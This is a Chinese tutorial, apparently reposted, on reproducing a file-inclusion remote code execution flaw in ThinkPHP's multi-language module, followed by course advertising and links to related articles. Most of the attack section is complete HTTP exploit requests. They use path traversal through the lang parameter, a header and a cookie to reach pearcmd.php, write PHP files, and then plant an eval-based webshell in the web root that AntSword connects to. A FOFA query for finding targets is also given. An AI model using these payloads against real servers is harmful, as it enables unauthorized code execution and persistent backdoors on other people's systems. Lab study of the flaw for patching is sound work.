ThinkPHP多语言模块文件包含RCE复现详细教程

这篇具有很好参考价值的文章主要介绍了ThinkPHP多语言模块文件包含RCE复现详细教程。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

免责声明
本文章只用于技术交流,若使用本文章提供的技术信息进行非法操作,后果均由使用者本人负责。

漏洞描述:

ThinkPHP在开启多语言功能的情况下存在文件包含漏洞,攻击者可以通过get、header、cookie等位置传入参数,实现目录穿越+文件包含,通过pearcmd文件包含这个trick即可实现RCE。

影响版本:

6.0.1 < ThinkPHP≤ 6.0.13

5.0.0 < ThinkPHP≤ 5.0.12

5.1.0 < ThinkPHP≤ 5.1.8

利用条件:

1、需要Thinkphp开启多语言功能

2、安装pear扩展

3、知道pearcmd.php路径

4、register_argc_argv=on

FOFA搜索语法:

header=“think_lang”

环境搭建:

服务器首先要有docker环境,没有的可以先部署一个

1、docker直接拉取vulfocus 的thinkphp:6.0.12的漏洞环境镜像:
docker pull vulfocus/thinkphp:6.0.12
2、启动容器,将容器的80端口映射到本机的80端口
docker run  --nametp123 -p80:80 -d镜像id

浏览器访问:ip+/public/index.php 如下图则搭建成功:

ThinkPHP多语言模块文件包含RCE复现详细教程,php,安全,开发语言

漏洞复现:

pearcmd.php这个文件的一些具体细节可以参考这篇文章

<https://www.leavesongs.com/PENETRATION/docker-php-include-
getshell.html#0x06-pearcmdphp>

进入容器查看pearcmd.php路径,执行 ````

find / -name pearcmd.php 2>/dev/null

``

/usr/local/lib/php/pearcmd.php

ThinkPHP多语言模块文件包含RCE复现详细教程,php,安全,开发语言

EXP:

在/tmp/下生成hello.php
GET /public/index.php?+config-create+/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1  
Host: 192.168.36.128  
Cache-Control: max-age=0  
Upgrade-Insecure-Requests: 1  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9  
Accept-Language: zh-CN,zh;q=0.9  
think-lang:../../../../../../../../usr/local/lib/php/pearcmd  
Cookie: think_lang=zh-cn  
Connection: close
进入容器查看/tmp/hellp.php

ThinkPHP多语言模块文件包含RCE复现详细教程,php,安全,开发语言

包含hello.php
GET /public/index.php HTTP/1.1  
Host: 192.168.36.128  
Cache-Control: max-age=0  
Upgrade-Insecure-Requests: 1  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9  
Accept-Language: zh-CN,zh;q=0.9  
think-lang:../../../../../../../../tmp/hello  
Cookie: think_lang=zh-cn  
Connection: close
repeater发包:

ThinkPHP多语言模块文件包含RCE复现详细教程,php,安全,开发语言

看看浏览器页面成功执行phpinfo:

ThinkPHP多语言模块文件包含RCE复现详细教程,php,安全,开发语言

GET:

直接利用p牛文章中的请求包,需要根据实际情况改变文件名称,写不进去可以考虑多加点…/

创建文件
GET /public/index.php?lang=../../../../../../../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?=phpinfo()?>+/tmp/1.php HTTP/1.1  
Host: 192.168.36.128  
Cache-Control: max-age=0  
Upgrade-Insecure-Requests: 1  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9  
Accept-Language: zh-CN,zh;q=0.9  
Cookie: think_lang=zh-cn  
Connection: close
repeater发包:

ThinkPHP多语言模块文件包含RCE复现详细教程,php,安全,开发语言

进入容器查看:

ThinkPHP多语言模块文件包含RCE复现详细教程,php,安全,开发语言

文件包含/tmp/1.php
GET /public/index.php?lang=../../../../../../../../../../../../tmp/1 HTTP/1.1  
Host: 192.168.36.128  
Cache-Control: max-age=0  
Upgrade-Insecure-Requests: 1  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9  
Accept-Language: zh-CN,zh;q=0.9  
Cookie: think_lang=zh-cn  
Connection: close
repeater发包:

ThinkPHP多语言模块文件包含RCE复现详细教程,php,安全,开发语言

再看看浏览器页面,成功执行phpinfo:

ThinkPHP多语言模块文件包含RCE复现详细教程,php,安全,开发语言

HEADER:

创建文件
GET /public/index.php?+config-create+/&/<?=phpinfo()?>+/tmp/2.php HTTP/1.1  
Host: 192.168.36.128  
Upgrade-Insecure-Requests: 1  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9  
Accept-Language: zh-CN,zh;q=0.9  
think-lang:../../../../../../../../../../../../../../usr/local/lib/php/pearcmd  
Cookie: think_lang=zh-cn  
Connection: close
repeater发包:

ThinkPHP多语言模块文件包含RCE复现详细教程,php,安全,开发语言

进入容器查看:

ThinkPHP多语言模块文件包含RCE复现详细教程,php,安全,开发语言

文件包含/tmp/2.php
GET /public/index.php?lang=../../../../../../../../../../../../tmp/2 HTTP/1.1  
Host: 192.168.36.128  
Cache-Control: max-age=0  
Upgrade-Insecure-Requests: 1  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9  
Accept-Language: zh-CN,zh;q=0.9  
Cookie: think_lang=zh-cn  
Connection: close
repeater发包:

ThinkPHP多语言模块文件包含RCE复现详细教程,php,安全,开发语言

在看看浏览器页面成功执行phpinfo:

ThinkPHP多语言模块文件包含RCE复现详细教程,php,安全,开发语言

COOKIES:

创建文件
GET /public/index.php?+config-create+/&/<?=phpinfo()?>+/tmp/3.php HTTP/1.1  
Host: 192.168.36.128  
Cache-Control: max-age=0  
Upgrade-Insecure-Requests: 1  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9  
Accept-Language: zh-CN,zh;q=0.9  
Cookie: think_lang=../../../../../../../../../../../../../../usr/local/lib/php/pearcmd  
Connection: close
repeater发包:

ThinkPHP多语言模块文件包含RCE复现详细教程,php,安全,开发语言

进入容器查看:

ThinkPHP多语言模块文件包含RCE复现详细教程,php,安全,开发语言

文件包含/tmp/3.php
GET /public/index.php?lang=../../../../../../../../../../../../tmp/3 HTTP/1.1  
Host: 192.168.36.128  
Upgrade-Insecure-Requests: 1  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36  
Sec-Purpose: prefetch;prerender  
Purpose: prefetch  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9  
Accept-Language: zh-CN,zh;q=0.9  
Cookie: think_lang=zh-cn  
Connection: close
repeater发包:

ThinkPHP多语言模块文件包含RCE复现详细教程,php,安全,开发语言

在看看浏览器页面成功执行phpinfo:

ThinkPHP多语言模块文件包含RCE复现详细教程,php,安全,开发语言

GETSHELL

于是我梅开二度决定写入一个马子试试:

这次我们直接写到网站根目录(注:phpinfo可以查看网站绝对路径)

ThinkPHP多语言模块文件包含RCE复现详细教程,php,安全,开发语言

写入文件
GET /public/index.php?lang=../../../../../../../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?=@eval($_POST['cmd']);?>+/var/www/html/shell.php HTTP/1.1  
Host: 192.168.36.128  
Cache-Control: max-age=0  
Upgrade-Insecure-Requests: 1  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9  
Accept-Language: zh-CN,zh;q=0.9  
Cookie: think_lang=zh-cn  
Connection: close
repeater发包:

ThinkPHP多语言模块文件包含RCE复现详细教程,php,安全,开发语言

浏览器访问:

ThinkPHP多语言模块文件包含RCE复现详细教程,php,安全,开发语言

蚁剑成功连接:

ThinkPHP多语言模块文件包含RCE复现详细教程,php,安全,开发语言

最后

分享一个快速学习【网络安全】的方法,「也许是」最全面的学习方法:
1、网络安全理论知识(2天)
①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)

2、渗透测试基础(一周)
①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等

3、操作系统基础(一周)
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)

4、计算机网络基础(一周)
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现

5、数据库基础操作(2天)
①数据库基础
②SQL语言基础
③数据库安全加固

6、Web渗透(1周)
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)

ThinkPHP多语言模块文件包含RCE复现详细教程,php,安全,开发语言

恭喜你,如果学到这里,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web 渗透、安全服务、安全分析等岗位;如果等保模块学的好,还可以从事等保工程师。薪资区间6k-15k。

到此为止,大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗?

想要入坑黑客&网络安全的朋友,给大家准备了一份:282G全网最全的网络安全资料包免费领取!
扫下方二维码,免费领取

有了这些基础,如果你要深入学习,可以参考下方这个超详细学习路线图,按照这个路线学习,完全够支撑你成为一名优秀的中高级网络安全工程师:
ThinkPHP多语言模块文件包含RCE复现详细教程,php,安全,开发语言

高清学习路线图或XMIND文件(点击下载原文件)

还有一些学习中收集的视频、文档资源,有需要的可以自取:
每个成长路线对应板块的配套视频:
ThinkPHP多语言模块文件包含RCE复现详细教程,php,安全,开发语言
ThinkPHP多语言模块文件包含RCE复现详细教程,php,安全,开发语言
当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料&工具,并且已经帮大家分好类了。
ThinkPHP多语言模块文件包含RCE复现详细教程,php,安全,开发语言
因篇幅有限,仅展示部分资料,需要的可以【扫下方二维码免费领取】
文章来源地址https://www.toymoban.com/news/detail-721150.html

到了这里,关于ThinkPHP多语言模块文件包含RCE复现详细教程的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • CTFHub笔记之技能树RCE:eval执行、文件包含、远程包含、php://input、读取源代码

    小白一个,记录解题过程,如有错误请指正! 知识点:         eval():把字符串 code 作为PHP代码执行。函数eval()语言结构是非常危险的,因为它允许执行任意 PHP 代码。它这样用是很危险的。如果您仔细的确认过,除了使用此结构以外别无方法, 请多加注意,不要允许传入

    2024年02月01日
    浏览(47)
  • ThinkPHP5 5.0.23远程代码执行漏洞+webshell工具连接(复现详细过程)

    目录 漏洞介绍 漏洞复现 1.环境搭建 2.漏洞利用 5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。 1.环境搭建 使用docker容器搭建漏洞环境,进入漏洞文件所在。 cd vulhub/thinkphp/5.0.2

    2024年02月06日
    浏览(97)
  • thinkphp 5-rce(rce漏洞getshell)

     vulhub靶场 http://xxxxx:8080/?s=/Index/thinkapp/invokefunctionfunction=call_user_func_arrayvars[0]=systemvars[1][]=whoami  验证漏洞 linux系统,可以用touch命令创建文件 http://xxxxx:8080/?s=/Index/thinkapp/invokefunctionfunction=call_user_func_arrayvars[0]=systemvars[1][]= touch mm.php 再用echo写入一句话 http://xxxxx:8080/index.

    2024年02月14日
    浏览(40)
  • 文件包含漏洞及漏洞复现

    程序开发人员通常会把可重复使用函数或语句写到单个文件中,形成“封装”。在使用某个功能的时候,直接调用此文件,无需再次编写,提高代码重用性,减少代码量。这种调用文件的过程通常称为包含。 程序开发人员都希望代码更加灵活,所以会把被包含的文件的路径设

    2024年02月10日
    浏览(49)
  • PHP文件包含漏洞(利用phpinfo)复现

    PHP文件包含漏洞中,如果找不到可以包含的文件,我们可以通过包含临时文件的方法来拿到权限。因为临时文件名是随机的,如果目标网站上存在phpinfo,则可以通过phpinfo来获取临时文件名,进而进行包含。 在给PHP发送POST数据包时,如果数据包里包含文件区块,无论你访问的

    2024年02月16日
    浏览(45)
  • CVE-2020-1938 Tomcat文件包含漏洞复现

    Apache Tomcat文件包含漏洞(CNVD-2020-10487/CVE-2020-1938)。该漏洞是由于Tomcat AJP协议存在缺陷而导致,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp下的任意文件。若目标服务器同时存在文件上传功能,攻击者可进一步实现远程代码执行。AJP(Apache JServ Protocol)是定向包

    2024年02月08日
    浏览(49)
  • 【漏洞复现】E-office文件包含漏洞

    Weaver E-Office是中国泛微科技(Weaver)公司的一个协同办公系统。泛微 E-Office 是一款标准化的协同 OA 办公软件,实行通用化产品设计,充分贴合企业管理需求,本着简洁易用、高效智能的原则,为企业快速打造移动化、无纸化、数字化的办公平台。 该漏洞是由于存在文件包含

    2024年02月09日
    浏览(45)
  • ThinkPHP5.0.0~5.0.23路由控制不严谨导致的RCE

    本次我们继续以漏洞挖掘者的视角,来分析thinkphp的RCE 敏感函数发现 在调用入口函数:/ThinkPHP_full_v5.0.22/public/index.php 时 发现了框架底层调用了thinkphplibrarythinkApp.php的app类中的incokeMethod方法  注意传递的参数,ReflectionMethod接受的参数。如果是数组的形式, 那么参数1是这个

    2024年01月23日
    浏览(36)
  • ThinkPHP5.0.0~5.0.23RCE 漏洞分析及挖掘思路

    前言 本节我将分析thinkphp5.0.x 版本的RCE漏洞,根据漏洞的研究模拟挖掘此漏洞的思路 本次分析框架下载,由于官方已经下架了相关的下载接口,这里我们用三方下载 一份v5.0.22版本的 升级中... https://www.codejie.net/5828.html 附赠 thinkphp5.0官方开发手册 架构总览 · ThinkPHP5.0完全开

    2024年01月18日
    浏览(41)
  • 【漏洞复现】Aapache_Tomcat_AJP协议_文件包含漏洞(CVE-2020-1938)

    感谢互联网提供分享知识与智慧,在法治的社会里,请遵守有关法律法规 说明 内容 漏洞编号 CVE-2020-1938 漏洞名称 Aapache_Tomcat_AJP文件包含漏洞 漏洞评级 高危 影响范围 Tomcat 9.0.30 漏洞描述 由于 Tomcat AJP 协议设计上存在缺陷,攻击者通过 Tomcat AJP Connector 可以读取或包含 Tomca

    2024年02月05日
    浏览(58)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包